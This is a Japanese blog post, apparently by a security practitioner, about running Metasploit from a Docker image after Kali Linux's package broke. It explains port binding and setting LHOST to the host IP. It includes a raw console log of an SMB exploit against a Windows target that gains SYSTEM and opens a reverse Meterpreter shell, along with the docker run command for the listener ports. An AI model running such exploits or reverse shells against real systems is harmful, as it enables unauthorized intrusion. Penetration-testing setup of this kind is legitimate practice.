Kali LinuxのMetasploitが使えなくなったら、Dockerイメージを使えばいいじゃない
はじめに
Kali LinuxのMetasploitが使えなくなって、急遽Dockerイメージで難を逃れた、という話です。
経緯
Kali LinuxのMetasploitが、突如として使えなくなりました。
$ msfconsole Could not find activerecord-6.1.4.6, actionpack-6.1.4.6, bcrypt-3.1.16, json-2.6.1, metasploit-concern-4.0.3, metasploit-credential-5.0.5, metasploit_data_models-5.0.4, metasploit-model-4.0.3, msgpack-1.4.5, network_interface-0.0.2, nokogiri-1.13.1-x86_64-linux, packetfu-1.1.13, pcaprub-0.13.1, pg-1.3.2, railties-6.1.4.6, recog-2.3.22, octokit-4.22.0, redcarpet-3.5.1, puma-5.6.2, thin-1.8.1, em-http-request-1.1.7, http-cookie-1.0.4, rspec-rerun-1.1.0, rails-6.1.4.6, bson-4.14.1, dnsruby-1.61.9, ed25519-1.3.0, bcrypt_pbkdf-1.1.0, winrm-2.3.6, sqlite3-1.4.2, xdr-3.0.3, hrr_rb_ssh-ed25519-0.4.2, irb-1.3.6, aws-sdk-s3-1.112.0, faye-websocket-0.11.1, eventmachine-1.2.7, ruby-oci8-2.2.10, actionview-6.1.4.6, rails-dom-testing-2.0.3, rails-html-sanitizer-1.4.2, arel-helpers-2.14.0, racc-1.6.0, nio4r-2.5.8, em-socksify-0.3.2, http_parser.rb-0.8.0, domain_name-0.5.20190701, actioncable-6.1.4.6, actionmailbox-6.1.4.6, actionmailer-6.1.4.6, actiontext-6.1.4.6, activejob-6.1.4.6, activestorage-6.1.4.6, sprockets-rails-3.4.2, simpleidn-0.2.1, gssapi-1.3.1, io-console-0.5.11, websocket-driver-0.7.5, loofah-2.14.0, unf-0.1.4, ffi-1.15.5, unf_ext-0.0.8 in any of the sources Run `bundle install` to install missing gems.
bundle install
を試みてもダメ、apt remove
して入れ直すことも試してみたのですが、依存関係もひっちゃかめっちゃかになってしまっており、どうにもできない状態でした。OS再インストールも時間の制約があって無理だったので、Dockerイメージに縋ったところ、うまくいきました。
※2022-09-21追記
metasploitframework/metasploit-framework、オフィシャルなリポジトリなのかよく分からない問題。一応登録情報自体は、開発元のRapid7っぽくはあるのですが。
これとは別に、Rapid7としての登録は別で存在しているみたい。
一応、Parrot Securityのリポジトリも置いておきます。手元でrunしてみたところ、こちらはPostgreSQLとNmapが同梱されているようでした。
Rapid7のMetasploit関係っぽいリポジトリは、あんまりメンテナンスされていない感じ……?
使い方
普通にpullしてrunすると、いつものプロンプトが顔を見せてくれます。ポートバインドはリバースシェルを確立する時のリッスンポートや、Meterpreterのportfwd
をする時にホストOSからの通信を受け付けるためのものです*1。
$ docker pull metasploitframework/metasploit-framework $ docker run -p 4440-4450:4440-4450 -it metasploitframework/metasploit-framework
注意事項
windows/meterpreter/reverse_tcp
などのペイロードを使ってコネクションを確立する場合、LHOST
をホストOSのIPアドレスにする必要があります。これをメモしておきたいがための記事です。
全く裏をとっていない適当なことを言いますが、LHOST
には以下の2つの役割があると思われます。
したがって、コンテナのIPアドレスだったりすると到達性の問題で都合が悪いのだと思います。コンテナ自身はそのIPアドレスを持たないので、ターゲットからの通信を0.0.0.0
で待ち受けます(以下のログ1〜2行目を参照)。
msf6 exploit(omitted) > run [-] Handler failed to bind to 192.0.2.1:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 [*] 198.51.100.1:445 - Target OS: Windows 5.1 [*] 198.51.100.1:445 - Filling barrel with fish... done [*] 198.51.100.1:445 - <---------------- | Entering Danger Zone | ----------------> [*] 198.51.100.1:445 - [*] Preparing dynamite... [*] 198.51.100.1:445 - [*] Trying stick 1 (x86)...Boom! [*] 198.51.100.1:445 - [+] Successfully Leaked Transaction! [*] 198.51.100.1:445 - [+] Successfully caught Fish-in-a-barrel [*] 198.51.100.1:445 - <---------------- | Leaving Danger Zone | ----------------> [*] 198.51.100.1:445 - Reading from CONNECTION struct at: 0x8216e290 [*] 198.51.100.1:445 - Built a write-what-where primitive... [+] 198.51.100.1:445 - Overwrite complete... SYSTEM session obtained! [*] 198.51.100.1:445 - Selecting native target [*] 198.51.100.1:445 - Uploading payload... mtZMSrbZ.exe [*] 198.51.100.1:445 - Created \mtZMSrbZ.exe... [+] 198.51.100.1:445 - Service started successfully... [*] Sending stage (175174 bytes) to 198.51.100.1 [*] 198.51.100.1:445 - Deleting \mtZMSrbZ.exe... [*] Meterpreter session 2 opened (172.17.0.2:4444 -> 198.51.100.1:3731) at 2022-09-18 12:33:44 +0000
おわりに
パッケージ管理システムの依存関係ぶっ壊れ、解消できる人っているんでしょうか?再インストールとか、新しいインスタンス立てるとかで対処するのしか見たことないんですが。
何はともあれDocker便利だなというのと、ポートバインドやLHOST
はネットワークを理解していなかったら延々ハマっていたと思うので、ネットワークやっててよかったなと思いました(小並感)。
*1:きっと必要だと思って指定していますが、指定しないパターンの検証はしていません